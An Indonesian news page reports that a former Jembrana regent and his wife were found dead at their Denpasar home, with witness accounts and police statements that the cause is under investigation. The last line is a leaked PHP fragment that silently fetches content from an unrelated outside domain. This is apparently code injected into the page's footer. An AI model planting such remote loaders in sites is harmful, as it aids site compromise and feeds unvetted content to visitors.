Mantan Bupati Jembrana Bersama Istri Ditemukan Meninggal di Rumahnya

Sabtu, 10 Agustus 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Bali | jejakkasus.info –
Kombes Pol Jansen Avitus Panjaitan S.I.K., M.H., Kabid Humas Polda Bali membenarkan adanya kejadian tersebut pada kamis 8 Agustus 2024 sekitar pukul 22.16 Wita di Jl. Gurita IV No 6 Sesetan Densel.

Almarhum An. Drs. IB. Ardana, laki-laki 84 tahun dan An. A.A.A Sri Wulandari Trisna S.H., perempuan, 64 tahun, keduanya merupakan pasangan suami-istri. Almarhum IB. Ardana juga pernah menjabat sebagai Bupati Jembrana periode 1980-1990.

Menurut keterangan saksi dari kepala lingkungan dan tetangga, biasanya almarhum IB. Ardana setiap pagi melakukan aktifitas olahraga keliling komplek perumahan bersama, namun sebulan terakhir tidak pernah kelihatan lagi berolahraga.

Baca Juga:  Insiden 894 Korban Jiwa Petugas Pemilu 2019, AHY: Jangan Terulang Lagi !

Dan menurut keterangan saksi anak dan menantu mengunjungi almarhum namun rumah terkunci dari dalam dan berusaha membuka namun tidak bisa, akhirnya mereka menghubungi kepala lingkungan setempat untuk membantu membuka pintu.

Anak menantu dan Kaling masuk hingga teras rumah namun tercium bau menyengat, karena curiga akhirnya Kaling menghubungi Polisi/Babinkamtibmas, Babinsa, Pecalang dan Petugas Medis untuk bersama-sama mengecek masuk kedalam rumah dengan mendobrak pintu.

Baca Juga:  Pemkab Sidoarjo Arahkan UMKM Daftarkan Produknya di E-Katalog

Setelah masuk benar saja keduanya ditemukan dalam keadaan meninggal dunia di dalam rumah dengan posisi terpisah.

Almarhum IB.Ardana ditemukan tergeletak deket pintu dapur sedangkan Korban A.A. Sri (istrinya), ditemukan meninggal terlentang diatas tempat tidur dan kedua jenasah sudah mengeluarkan bau tak sedap.

Polisi langsung menghubungi ambulans BPBD untuk mengevakuasi almarhum ke rumah sakit.

Baca Juga:  Dedi Damanik,SH.MH Melayangkan Surat Somasi Ke 2 ke PT. Castell Persada Propertindo

Untuk penyebab pasti kematian kedua almarhum masih dalam proses penyelidikan Polresta Denpasar dan jika diijinkan oleh keluarga, kita tunggu hasil otopsi almarhum, Polisi juga sudah melakukan olah TKP dan memberikan Police Line di rumah almarhum (TKP). Kita semua sangat prihatin atas kejadian ini dan turut berdukacita semoga almarhum mendapat tempat terbaik di sisi Tuhan. tutup KBP Jansen.

Amin jk

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kunjungan Kepala Dinas Pendidikan Provinsi Jatim Ke Kabupaten Jombang
Tambang Galian C Desa Tugu, Kecamatan Wates, Kabupaten Kediri dalam Monitoring Ketua Umum LSM Gimicak
Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja
Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat
Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras
Rayon Barat Polresta Sidoarjo Apel Bersama Oprasi Cooling System Tahun 2024 .
Wahyudi Dengan Tegas Menolak Kebijakan Pemerintah Yang Menaikan E Retribusi Di Situasi-Kondisi Pasar Sepi Dan Memprihatinkan Saat Ini
Waka II DPRD Badung I Made Wijaya Soroti: Peraturan Berbenturan,Nasib Tanah Negara Di Pererenan Menggantung

Berita Terkait

Jumat, 4 Oktober 2024 - 20:42 WIB

Kunjungan Kepala Dinas Pendidikan Provinsi Jatim Ke Kabupaten Jombang

Jumat, 4 Oktober 2024 - 20:06 WIB

Tambang Galian C Desa Tugu, Kecamatan Wates, Kabupaten Kediri dalam Monitoring Ketua Umum LSM Gimicak

Jumat, 4 Oktober 2024 - 11:38 WIB

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja

Jumat, 4 Oktober 2024 - 00:48 WIB

Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat

Jumat, 4 Oktober 2024 - 00:47 WIB

Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras

Berita Terbaru

Berita Utama

Kapolres Pringsewu Serukan Pilkada Damai Tanpa Diskriminasi

Jumat, 4 Okt 2024 - 19:31 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>